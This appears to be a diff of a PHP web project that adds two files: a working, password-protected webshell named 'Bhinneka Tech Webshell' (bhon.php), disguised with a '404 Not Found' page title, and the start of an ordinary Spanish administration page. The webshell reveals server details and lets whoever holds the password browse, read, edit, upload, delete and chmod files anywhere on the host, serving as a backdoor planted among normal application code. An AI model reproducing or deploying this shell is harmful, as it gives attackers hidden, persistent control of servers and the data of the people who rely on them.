671
bhon.php
Normal file
671
bhon.php
Normal file
@@ -0,0 +1,671 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
error_reporting(0);
|
||||||
|
$password = "d61155f6f6120c0f17546b5311b08f9e";
|
||||||
|
session_start();
|
||||||
|
|
||||||
|
if(md5($_POST['password']) == $password) {
|
||||||
|
$_SESSION['isLogin'] = true;
|
||||||
|
}else {
|
||||||
|
loginShell();
|
||||||
|
}
|
||||||
|
|
||||||
|
function info() {
|
||||||
|
$arr = [
|
||||||
|
'ip' => $_SERVER['SERVER_ADDR'],
|
||||||
|
'host' => gethostname(),
|
||||||
|
'kernel' => php_uname(),
|
||||||
|
'disablefunc' => ini_get('disable_functions'),
|
||||||
|
'path' => getcwd(),
|
||||||
|
'os' => PHP_OS,
|
||||||
|
];
|
||||||
|
|
||||||
|
return $arr;
|
||||||
|
}
|
||||||
|
$getInfo = info();
|
||||||
|
|
||||||
|
if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
|
||||||
|
$getInfo['os'] = 'Windows';
|
||||||
|
$paths = explode('\\', $getInfo['path']);
|
||||||
|
$paths = $paths[0] . '/';
|
||||||
|
}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
|
||||||
|
$getInfo['os'] = 'Linux';
|
||||||
|
$paths = '/';
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$dir = getcwd();
|
||||||
|
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$replace = str_replace('\\', '/', $_GET['path']);
|
||||||
|
$replace = str_replace('//', '/', $_GET['path']);
|
||||||
|
$pecah = explode('/', $replace);
|
||||||
|
}else {
|
||||||
|
$replace = str_replace('\\', '/', $dir);
|
||||||
|
$pecah = explode('/', $replace);
|
||||||
|
}
|
||||||
|
|
||||||
|
function loginShell() {
|
||||||
|
if(!isset($_SESSION['isLogin'])) {
|
||||||
|
echo "<form method='POST'><input type='password' name='password'><button type='submit'>Submit</button></form>";
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function cekPermission($filenya) {
|
||||||
|
|
||||||
|
$perms = fileperms($filenya);
|
||||||
|
switch ($perms & 0xF000) {
|
||||||
|
case 0xC000: // socket
|
||||||
|
$info = 's';
|
||||||
|
break;
|
||||||
|
case 0xA000: // symbolic link
|
||||||
|
$info = 'l';
|
||||||
|
break;
|
||||||
|
case 0x8000: // regular
|
||||||
|
$info = '-';
|
||||||
|
break;
|
||||||
|
case 0x6000: // block special
|
||||||
|
$info = 'b';
|
||||||
|
break;
|
||||||
|
case 0x4000: // directory
|
||||||
|
$info = 'd';
|
||||||
|
break;
|
||||||
|
case 0x2000: // character special
|
||||||
|
$info = 'c';
|
||||||
|
break;
|
||||||
|
case 0x1000: // FIFO pipe
|
||||||
|
$info = 'p';
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
$info = 'u';
|
||||||
|
}
|
||||||
|
|
||||||
|
//Untuk Owner
|
||||||
|
$info .= (($perms & 0x0100) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0080) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0040) ?
|
||||||
|
(($perms & 0x0800) ? 's' : 'x' ) :
|
||||||
|
(($perms & 0x0800) ? 'S' : '-'));
|
||||||
|
|
||||||
|
//Untuk Group
|
||||||
|
$info .= (($perms & 0x0020) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0010) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0008) ?
|
||||||
|
(($perms & 0x0400) ? 's' : 'x' ) :
|
||||||
|
(($perms & 0x0400) ? 'S' : '-'));
|
||||||
|
|
||||||
|
//Untuk Other
|
||||||
|
$info .= (($perms & 0x0004) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0002) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0001) ?
|
||||||
|
(($perms & 0x0200) ? 't' : 'x' ) :
|
||||||
|
(($perms & 0x0200) ? 'T' : '-'));
|
||||||
|
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
|
||||||
|
function hitungSize($fileSize) {
|
||||||
|
$bytes = sprintf('%u', filesize($fileSize));
|
||||||
|
|
||||||
|
if ($bytes > 0)
|
||||||
|
{
|
||||||
|
$unit = intval(log($bytes, 1024));
|
||||||
|
$units = array('B', 'KB', 'MB', 'GB');
|
||||||
|
|
||||||
|
if (array_key_exists($unit, $units) === true)
|
||||||
|
{
|
||||||
|
return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
function bungkus($obj) {
|
||||||
|
$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
|
||||||
|
return $wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
function deleteFolder($dirnya) {
|
||||||
|
$files = array_diff(scandir($dirnya), array('.', '..'));
|
||||||
|
|
||||||
|
foreach ($files as $file) {
|
||||||
|
(is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
|
||||||
|
}
|
||||||
|
|
||||||
|
return rmdir($dirnya);
|
||||||
|
}
|
||||||
|
|
||||||
|
function folder_exist($folder)
|
||||||
|
{
|
||||||
|
$path = realpath($folder);
|
||||||
|
|
||||||
|
if($path !== false AND is_dir($path))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$get = $_GET['path'];
|
||||||
|
$pec = explode('/', $get);
|
||||||
|
|
||||||
|
if(is_file($get)) {
|
||||||
|
$konten = bungkus($get);
|
||||||
|
$cek = true;
|
||||||
|
$listDir = scandir($get);
|
||||||
|
}else {
|
||||||
|
$listDir = array_diff(scandir($get), ['.', '..']);
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
$get = $replace;
|
||||||
|
$listDir = array_diff(scandir($get), ['.', '..']);
|
||||||
|
}
|
||||||
|
|
||||||
|
if(isset($_POST['pilihan'])) {
|
||||||
|
switch ($_POST['pilihan']) {
|
||||||
|
case 'edit':
|
||||||
|
$edit = true;
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$sourceFile = $_POST['sourceFile'];
|
||||||
|
if(!empty($sourceFile)){
|
||||||
|
$fileHandle = fopen($dirFile, 'w');
|
||||||
|
if($fileHandle !== false){
|
||||||
|
if(fwrite($fileHandle, $sourceFile) !== false) {
|
||||||
|
fclose($fileHandle);
|
||||||
|
$successEdit = 'Berhasil di edit';
|
||||||
|
} else {
|
||||||
|
fclose($fileHandle);
|
||||||
|
$successEdit = 'Gagal edit';
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
$successEdit = 'Gagal membuka file untuk diedit';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'rename':
|
||||||
|
$rename = true;
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$filename = $_POST['namaFile'];
|
||||||
|
$namaBaru = $_POST['namaBaru'];
|
||||||
|
if(!empty($namaBaru)){
|
||||||
|
if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
|
||||||
|
$filename = $namaBaru;
|
||||||
|
$dirFile = $_GET['path'] . '/' . $namaBaru;
|
||||||
|
$successRename = 'Berhasil rename';
|
||||||
|
}else {
|
||||||
|
$successRename = 'Gagal rename';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'delete':
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$type = $_POST['type'];
|
||||||
|
if(isset($dirFile) && is_file($dirFile)) {
|
||||||
|
if(unlink($dirFile)) {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('File berhasil dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('File gagal dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}else if(isset($dirFile) && is_dir($dirFile)) {
|
||||||
|
//$dirFile = $dirFile . '/';
|
||||||
|
if(deleteFolder($dirFile)) {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('Folder berhasil dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
$pesanHapus = "<script>
|
||||||
|
alert('Folder gagal dihapus!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'chmod':
|
||||||
|
$chmod = true;
|
||||||
|
$file = fileperms($_POST['dir']);
|
||||||
|
$permission = substr(sprintf('%o', $file), -4);
|
||||||
|
$dirFile = $_POST['dir'];
|
||||||
|
$perms = octdec($_POST['perms']);
|
||||||
|
if(isset($_POST['perms'])) {
|
||||||
|
if(isset($perms)) {
|
||||||
|
if(chmod($dirFile, $perms)) {
|
||||||
|
$permission = decoct($perms);
|
||||||
|
$successChmod ='Berhasil chmod!';
|
||||||
|
}else {
|
||||||
|
$successChmod = 'Gagal chmod!';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'create':
|
||||||
|
$namaFile = "";
|
||||||
|
$isiFile = "";
|
||||||
|
|
||||||
|
$dirPath = $_GET['path'] . '/';
|
||||||
|
if(isset($_POST['createAction'])) {
|
||||||
|
$namaFile = $_POST['createName'];
|
||||||
|
$isiFile = ($_POST['createIsi'] == NULL) ? ' ' : $_POST['createIsi'];
|
||||||
|
if(!file_exists($dirPath . $namaFile)) {
|
||||||
|
if(file_put_contents($dirPath . $namaFile, $isiFile)) {
|
||||||
|
$pesanCreate = 'File berhasil dibuat';
|
||||||
|
}else {
|
||||||
|
$pesanCreate = 'Directory not Writable';
|
||||||
|
}
|
||||||
|
}else {
|
||||||
|
$pesanCreate = 'Nama file / folder sudah ada';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'createFolder':
|
||||||
|
$dirPath = $_GET['path'] . '/';
|
||||||
|
if(isset($_POST['createFolder'])) {
|
||||||
|
$namaFolder = $_POST['createName'];
|
||||||
|
if(mkdir($dirPath . $namaFolder)) {
|
||||||
|
$pesanCreate = 'Folder berhasil dibuat';
|
||||||
|
}else {
|
||||||
|
if(is_dir($namaFolder)) {
|
||||||
|
$pesanCreate = 'Nama Folder / File sudah ada';
|
||||||
|
}elseif(!is_writable($dirPath)){
|
||||||
|
$pesanCreate = 'Directory not writable';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case $_POST['pilihan'] == 'upload':
|
||||||
|
$path = $replace;
|
||||||
|
if(isset($_GET['path'])) {
|
||||||
|
$path = $_GET['path'];
|
||||||
|
}
|
||||||
|
|
||||||
|
if(isset($_FILES['uploadFile'])) {
|
||||||
|
$namafile = $_FILES['uploadFile']['name'];
|
||||||
|
$tempatfile = $_FILES['uploadFile']['tmp_name'];
|
||||||
|
$error = $_FILES['uploadFile']['error'];
|
||||||
|
$ukuranfile = $_FILES['uploadFile']['size'];
|
||||||
|
|
||||||
|
if(move_uploaded_file($tempatfile, $path.'/'.$namafile)) {
|
||||||
|
echo "<script>
|
||||||
|
alert('File berhasil diupload!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}else {
|
||||||
|
echo "<script>
|
||||||
|
alert('File gagal diupload!!');
|
||||||
|
window.location.href = window.location.href;
|
||||||
|
</script>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
?>
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>404 Not Found</title>
|
||||||
|
</head>
|
||||||
|
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
|
||||||
|
<meta name="viewport" content="width=1024">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
width: 100vw;
|
||||||
|
height: 100px;
|
||||||
|
overflow-x: hidden !important;
|
||||||
|
}
|
||||||
|
.info {
|
||||||
|
display: block;
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
table.striped > tbody > tr:nth-child(odd) {
|
||||||
|
background-color: rgba(170, 213, 213, 0.5);
|
||||||
|
}
|
||||||
|
nav {
|
||||||
|
background-color: #42a5f5;
|
||||||
|
}
|
||||||
|
.select-wrapper {
|
||||||
|
position: relative;
|
||||||
|
width: 100px;
|
||||||
|
display: inline-block;
|
||||||
|
}
|
||||||
|
|
||||||
|
.file-field .btn, .file-field .btn-large, .file-field .btn-small {
|
||||||
|
float: inherit;
|
||||||
|
height: 3rem;
|
||||||
|
line-height: 3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.select-wrapper .caret {
|
||||||
|
right: auto !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.select-wrapper input.select-dropdown {
|
||||||
|
width: 50%;
|
||||||
|
}
|
||||||
|
|
||||||
|
textarea {
|
||||||
|
height: 50rem !important;
|
||||||
|
overflow-y: scroll !important;
|
||||||
|
height: 700px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.maung {
|
||||||
|
height: 700px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
table{
|
||||||
|
width:100%;
|
||||||
|
table-layout: fixed;
|
||||||
|
overflow-wrap: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media screen and (max-width: 732px) {
|
||||||
|
.navbar-text {
|
||||||
|
font-size: 25px !important;
|
||||||
|
width: 280px !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
</style>
|
||||||
|
<body>
|
||||||
|
<div class="content">
|
||||||
|
<nav>
|
||||||
|
<div class="container">
|
||||||
|
<div class="nav-wrapper">
|
||||||
|
<a href="#" class="brand-logo center navbar-text">Bhinneka Tech Webshell</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<div class="container" style="margin-top: 30px;">
|
||||||
|
<b class="info">Server IP : <?= $getInfo['ip']; ?></b>
|
||||||
|
<b class="info">Hostname : <?= $getInfo['host']; ?></b>
|
||||||
|
<b class="info">Kernel : <?= $getInfo['kernel']; ?></b>
|
||||||
|
<b class="info">OS : <?= $getInfo['os']; ?></b>
|
||||||
|
<b class="info">USER : <?= get_current_user(); ?></b>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<?php if($cek){ ?>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<div class="row">
|
||||||
|
<div style="font-size: 17px;">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</div>
|
||||||
|
<form class="col s12">
|
||||||
|
<div class="row">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<textarea id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" disabled><?= $konten; ?></textarea>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<?php }else if($edit){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successEdit) ? "<p class='blue-text text-darken-2'>" . $successEdit . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="edit">
|
||||||
|
<div class="row">
|
||||||
|
<form class="col s12">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<textarea name="sourceFile" id="textarea" class="materialize-textarea" style="background-color: ghostwhite; overflow-y: auto;" ><?= bungkus($dirFile); ?></textarea>
|
||||||
|
<label for="textarea" class='active'>Edit File</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Edit</button>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if($rename){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successRename) ? "<p class='blue-text text-darken-2'>" . $successRename . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="rename">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input value="<?= $filename; ?>" name="namaBaru" id="rename" type="text" class="validate">
|
||||||
|
<label class="active" for="rename">Input disini:</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Rename</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if($chmod) { ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($successChmod) ? "<p class='blue-text text-darken-2'>" . $successChmod . "</p>" : ''; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="dir" value="<?= $dirFile; ?>">
|
||||||
|
<input type="hidden" name="pilihan" value="chmod">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input value="<?= $permission; ?>" name="perms" id="chmod" type="text" class="validate">
|
||||||
|
<label class="active" for="chmod">Input disini:</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">Chmod</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if(isset($_GET['create'])){ ?>
|
||||||
|
<br>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="pilihan" value="create">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input name="createName" id="createFile" type="text" class="validate" value="<?= $namaFile; ?>">
|
||||||
|
<label class="active" for="createFile">Nama File</label>
|
||||||
|
<textarea name="createIsi" class="materialize-textarea" style="height: 400px; background-color: ghostwhite; overflow-y: scroll;"><?= $isiFile; ?></textarea>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="createAction">Create</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else if(isset($_GET['createFolder'])){ ?>
|
||||||
|
<div class="container">
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<?= !empty($pesanCreate) ? "<p class='blue-text text-darken-2'>" . $pesanCreate . "</p>" : ""; ?>
|
||||||
|
<form method="POST">
|
||||||
|
<input type="hidden" name="pilihan" value="createFolder">
|
||||||
|
<div class="row center-align">
|
||||||
|
<div class="input-field col s12">
|
||||||
|
<input name="createName" id="createFolder" type="text" class="validate" value="<?= $namaFolder; ?>">
|
||||||
|
<label class="active" for="createFolder">Nama Folder</label>
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="createFolder">Create</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
<?php }else{ ?>
|
||||||
|
<div class="container">
|
||||||
|
<b class="info">
|
||||||
|
<a href="?create&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light red"><i class="material-icons">add</i></a> <b>Add File </b>
|
||||||
|
<a href="?createFolder&path=<?= isset($_GET['path']) ? $_GET['path'] : $replace; ?>" class="btn-floating btn-large waves-effect waves-light blue""><i class="material-icons">add</i></a> <b>Add Folder</b>
|
||||||
|
<br>
|
||||||
|
<b class="info">
|
||||||
|
<form method="POST" enctype="multipart/form-data">
|
||||||
|
<div class="file-field input-field">
|
||||||
|
<div class="btn">
|
||||||
|
<span>File</span>
|
||||||
|
<input type="hidden" name="pilihan" value="upload">
|
||||||
|
<input type="hidden" name="dir" value="<?= $_GET['path'] ?>">
|
||||||
|
<input type="file" name="uploadFile">
|
||||||
|
</div>
|
||||||
|
<div class="file-path-wrapper">
|
||||||
|
<input class="file-path validate" type="text" style="width: 300px">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="actionUpload">Upload!
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</b>
|
||||||
|
<!-- <div style="font-size: 18px;"> -->
|
||||||
|
<div class="row"><div class="col s12" style="font-size: 18px;">
|
||||||
|
PATH:
|
||||||
|
<?php
|
||||||
|
echo '<a href="?path=' . $paths . '">' . '-' . '</a>';
|
||||||
|
for ($i = 1; $i < count($pecah); $i++) {
|
||||||
|
$subpath = implode('/', array_slice($pecah, 1, $i));
|
||||||
|
echo '/';
|
||||||
|
echo '<a href="?path=/' . urlencode($subpath) . '">' . $pecah[$i] . '</a>';
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</div></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="container">
|
||||||
|
<table class="striped centered bordered">
|
||||||
|
<?= !empty($pesanHapus) ? $pesanHapus : ''; ?>
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>Nama</th>
|
||||||
|
<th>Size</th>
|
||||||
|
<th>Permission</th>
|
||||||
|
<th>Action</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<?php foreach($listDir as $dir): ?>
|
||||||
|
<tr>
|
||||||
|
<td><a style="color: black;" href="?path=<?= str_replace([".", "//"], ["%2e", '/'], $get . '/' . $dir); ?>"><?= $dir; ?></a></td>
|
||||||
|
<td><?= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?></td>
|
||||||
|
<td><?= is_writable($get . '/' . $dir) ? '<font color="green">' . @cekPermission($get . '/' . $dir) . '</font>' : '<font color="red">' . @cekPermission($get . '/' . $dir) . '</font>';?></td>
|
||||||
|
<td>
|
||||||
|
<?php if(is_file($get . '/' . $dir)): ?>
|
||||||
|
<form method="POST" action="?set&path=<?= $get; ?>">
|
||||||
|
<center>
|
||||||
|
<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;">
|
||||||
|
<option value="Select" disabled selected>Pilih</option>
|
||||||
|
<option value="rename">Rename</option>
|
||||||
|
<option value="edit">Edit</option>
|
||||||
|
<option value="delete">Delete</option>
|
||||||
|
<option value="chmod">Chmod</option>
|
||||||
|
</select>
|
||||||
|
</center>
|
||||||
|
<input type="hidden" name="type" value="file">
|
||||||
|
<input type="hidden" name="namaFile" value="<?= $dir; ?>">
|
||||||
|
<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">
|
||||||
|
<i class="material-icons right">send</i>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
<?php else: ?>
|
||||||
|
<form method="POST" action="?set&path=<?= $get; ?>">
|
||||||
|
<center>
|
||||||
|
<select class="browser-default" name="pilihan" style="height: 30px; width: 70px; z-index: 1;" name="pilihan">
|
||||||
|
<option value="Select" disabled selected>Pilih</option>
|
||||||
|
<option value="rename">Rename</option>
|
||||||
|
<option value="delete">Delete</option>
|
||||||
|
<option value="chmod">Chmod</option>
|
||||||
|
</select>
|
||||||
|
</center>
|
||||||
|
<input type="hidden" name="type" value="folder">
|
||||||
|
<input type="hidden" name="namaFile" value="<?= $dir; ?>">
|
||||||
|
<input type="hidden" name="dir" value="<?= $get . '/' . $dir ?>">
|
||||||
|
<button class="btn waves-effect waves-light" type="submit" name="action">
|
||||||
|
<i class="material-icons right">send</i>
|
||||||
|
</button>
|
||||||
|
</form>
|
||||||
|
<?php endif; ?>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<?php } ?>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<footer id="footer" style="margin-top: 100px;">
|
||||||
|
|
||||||
|
</footer>
|
||||||
|
|
||||||
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
var footer = document.querySelector("footer");
|
||||||
|
|
||||||
|
function stopScrollAtFooter() {
|
||||||
|
var footerHeight = footer.clientHeight;
|
||||||
|
var contentHeight = document.body.scrollHeight;
|
||||||
|
var scrollY = window.scrollY;
|
||||||
|
|
||||||
|
if (scrollY + window.innerHeight >= contentHeight - footerHeight) {
|
||||||
|
window.scrollTo(0, contentHeight - window.innerHeight);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window.addEventListener("scroll", stopScrollAtFooter);
|
||||||
|
|
||||||
|
|
||||||
|
document.addEventListener('DOMContentLoaded', function() {
|
||||||
|
var elems = document.querySelectorAll('select');
|
||||||
|
var instances = M.FormSelect.init(elems, {});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
123
carreras-old.php
Normal file
123
carreras-old.php
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Auditoría asistencial</title>
|
||||||
|
<?php
|
||||||
|
include 'import/html_css_files.php';
|
||||||
|
?>
|
||||||
|
<link rel="stylesheet" type="text/css" href="https://unpkg.com/trix@2.0.0/dist/trix.css">
|
||||||
|
<style>
|
||||||
|
[v-cloak] {
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script src="js/jquery.min.js"></script>
|
||||||
|
<script src="js/jquery-ui.js"></script>
|
||||||
|
<script src="js/bootstrap/bootstrap.min.js"></script>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<?
|
||||||
|
$redirect = $_SERVER['PHP_SELF'];
|
||||||
|
include "import/html_header.php";
|
||||||
|
global $user;
|
||||||
|
|
||||||
|
html_header(
|
||||||
|
"Carreras",
|
||||||
|
"Sistema de gestión de checador",
|
||||||
|
);
|
||||||
|
?>
|
||||||
|
<main class="container-fluid px-4 my-4" id="app" v-cloak @vue:mounted="mounted" style="min-height: 70vh;">
|
||||||
|
<section class="row mt-4">
|
||||||
|
<div class="col-12 position-relative">
|
||||||
|
<!-- Loop for messages -->
|
||||||
|
<div class="toast show shadow-sm mb-3 bg-white"
|
||||||
|
style="position: fixed; top: 15%; right: 1%; max-width: 300px;" role="alert" aria-live="assertive"
|
||||||
|
aria-atomic="true"
|
||||||
|
